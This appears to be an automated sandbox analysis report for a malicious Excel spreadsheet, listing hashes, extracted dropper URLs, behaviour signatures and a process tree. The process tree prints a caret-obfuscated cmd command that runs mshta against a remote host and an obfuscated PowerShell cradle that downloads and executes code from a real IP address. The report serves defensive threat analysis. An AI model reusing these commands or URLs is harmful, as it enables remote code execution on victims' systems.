97cfcef975494735959d2825eb06cd7d0d5d1b44e9aef8f9fe6cdd451ed6749d

General

Target
05275adf907b19bd170637c946fcb0ba.xls
Size 128KB
Sample220118-sbk3aabgdn
SHA256 97cfcef975494735959d2825eb06cd7d0d5d1b44e9aef8f9fe6cdd451ed6749d
MD5 05275adf907b19bd170637c946fcb0ba
SHA1 18086edfbaa598112d8f3594ea61b7c471aed705
SHA512 1567ee515f71dc35eafb70c1e063db7bcc1d33822f21ae19351b62abf72282272ddd6bdd139196bc8f2729ca723aabe6ab3d749a3957cb0a3f28501c2b630728
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/PP91.PNG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1544	1364	cmd.exe	51

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1168 created 1120	1168	WerFault.exe	59

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	1120	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2940	1120	WerFault.exe	59

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1364	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2940	WerFault.exe
2940	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE
1364	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 1544	1364	EXCEL.EXE	55
PID 1364 wrote to memory of 1544	1364	EXCEL.EXE	55
PID 1544 wrote to memory of 1120	1544	cmd.exe	59
PID 1544 wrote to memory of 1120	1544	cmd.exe	59
PID 1168 wrote to memory of 1120	1168	WerFault.exe	59
PID 1168 wrote to memory of 1120	1168	WerFault.exe	59

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\05275adf907b19bd170637c946fcb0ba.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1364
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:1120
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1120 -s 1720
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2536

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 460 -p 1120 -ip 1120
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1364-131-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Download

memory/1364-132-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Download

memory/1364-133-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Download

memory/1364-134-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Download

memory/1364-135-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Download

memory/1364-138-0x00007FF801E70000-0x00007FF801E80000-memory.dmp

Download

memory/1364-139-0x00007FF801E70000-0x00007FF801E80000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads